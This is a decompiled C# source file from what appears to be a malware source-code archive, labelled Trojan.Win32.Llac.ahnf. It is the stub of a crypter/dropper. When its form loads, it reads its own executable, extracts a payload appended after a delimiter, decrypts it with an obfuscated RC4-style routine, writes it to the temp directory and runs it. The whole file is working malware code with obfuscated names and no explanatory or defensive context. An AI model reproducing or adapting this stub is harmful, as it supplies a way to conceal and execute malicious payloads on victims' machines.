MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336/_0005/_0003.cs
2022-08-18 06:28:56 -05:00

344 lines
8.1 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null
// MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe
using \u0001;
using \u0005;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace \u0005
{
internal class \u0003 : Form
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
private IContainer \u0001;
static \u0003() => \u0002.\u0002(typeof (\u0003));
public \u0003()
{
this.Load += new EventHandler(this.\u0002);
this.\u0002();
}
[DebuggerNonUserCode]
protected override void Dispose([In] bool obj0)
{
try
{
if (!obj0 || this.\u0001 == null)
return;
this.\u0001.Dispose();
}
finally
{
base.Dispose(obj0);
}
}
private void \u0002()
{
this.SuspendLayout();
this.AutoScaleDimensions = new SizeF(6f, 13f);
do
{
if (true)
goto label_4;
label_2:
continue;
label_4:
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(284, 262);
this.Name = \u0003.\u0001(299);
this.Text = \u0003.\u0001(299);
goto label_2;
}
while (false);
this.ResumeLayout(false);
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private void \u0002([In] object obj0, [In] EventArgs obj1)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num2 = 1;
label_1:
int num3;
if (true)
num3 = 2;
string tempPath = Path.GetTempPath();
label_2:
if (true)
{
num3 = 3;
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
}
else
goto label_22;
label_4:
num3 = 4;
string Expression;
int num4;
int num5;
if (true)
{
int FileNumber = 1;
if (FileNumber != 0)
{
if (true)
{
Expression = Strings.Space(checked ((int) FileSystem.LOF(FileNumber)));
}
else
{
num4 = FileNumber;
goto label_23;
}
}
else
{
num5 = FileNumber;
goto label_17;
}
}
else
goto label_11;
label_8:
num3 = 5;
FileSystem.FileGet(1, ref Expression);
label_9:
num3 = 6;
int num6 = 1;
int num7;
int length;
if (num6 != 0)
{
length = num6;
}
else
{
num7 = num6;
goto label_12;
}
label_10:
int[] numArray = new int[length];
numArray[0] = 1;
FileSystem.FileClose(numArray);
label_11:
num7 = 7;
label_12:
num3 = num7;
string[] strArray = Strings.Split(Expression, \u0003.\u0001(308));
label_13:
num3 = 8;
string str = \u0003.\u0002(strArray[1], \u0003.\u0001(349));
label_14:
length = 9;
if (length != 0)
{
num3 = length;
FileSystem.FileOpen(5, tempPath + \u0003.\u0001(370), OpenMode.Binary, OpenAccess.ReadWrite);
}
else
goto label_10;
label_16:
num5 = 10;
label_17:
num3 = num5;
FileSystem.FilePut(5, str, -1L, false);
label_18:
if (true)
{
num3 = 11;
FileSystem.FileClose(5);
}
else
goto label_21;
label_20:
num3 = 12;
label_21:
Process.Start(tempPath + \u0003.\u0001(370));
label_22:
num4 = 13;
label_23:
num3 = num4;
this.Close();
ProjectData.EndApp();
goto label_32;
label_25:
num1 = num3;
switch (num2)
{
case 1:
int num8 = num1 + 1;
num1 = 0;
switch (num8)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_4;
case 5:
goto label_8;
case 6:
goto label_9;
case 7:
goto label_11;
case 8:
goto label_13;
case 9:
goto label_14;
case 10:
goto label_16;
case 11:
goto label_18;
case 12:
goto label_20;
case 13:
goto label_22;
case 14:
goto label_32;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
{
ProjectData.SetProjectError(ex);
goto label_25;
}
throw ProjectData.CreateProjectError(-2146828237);
label_32:
if (num1 == 0)
return;
ProjectData.ClearProjectError();
}
public static string \u0002([In] string obj0, [In] string obj1)
{
int index1 = 0;
label_1:
int index2 = 0;
StringBuilder stringBuilder = new StringBuilder();
string empty = string.Empty;
int[] numArray1 = new int[257];
if (true)
goto label_25;
label_2:
int[] numArray2 = new int[257];
int length = obj1.Length;
int location1 = 0;
int[] numArray3;
while (location1 <= (int) byte.MaxValue)
{
char String = obj1.Substring(location1 % length, 1).ToCharArray()[0];
numArray2[location1] = Strings.Asc(String);
numArray3[location1] = location1;
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
}
int index3 = 0;
int location2 = 0;
int num1;
int num2;
while (location2 <= (int) byte.MaxValue)
{
num1 = checked (index3 + numArray3[location2] + numArray2[location2]);
num2 = 256;
if (num2 != 0)
{
index3 = num1 % num2;
int num3 = numArray3[location2];
numArray3[location2] = numArray3[index3];
do
{
numArray3[index3] = num3;
}
while (false);
if (true)
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
else
goto label_17;
}
else
goto label_18;
}
int num4 = 1;
int num5;
if (num4 != 0)
{
location1 = num4;
goto label_21;
}
else
num5 = num4;
label_15:
int num6;
if (num5 != 0)
{
int num7 = numArray3[index1];
numArray3[index1] = numArray3[index2];
numArray3[index2] = num7;
num6 = numArray3[checked (numArray3[index1] + numArray3[index2]) % 256];
}
else
goto label_1;
label_17:
int num8 = Strings.Asc(obj0.Substring(checked (location1 - 1), 1).ToCharArray()[0]);
num2 = num6;
num1 = num8;
label_18:
int CharCode = num1 ^ num2;
label_19:
stringBuilder.Append(Strings.Chr(CharCode));
label_20:
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
label_21:
if (location1 <= obj0.Length)
{
index1 = checked (index1 + 1) % 256;
index2 = checked (index2 + numArray3[index1]) % 256;
num5 = 5;
goto label_15;
}
else if (true)
{
if (true)
{
string str = stringBuilder.ToString();
stringBuilder.Length = 0;
return str;
}
goto label_19;
}
else
goto label_20;
label_25:
numArray3 = numArray1;
goto label_2;
}
}
}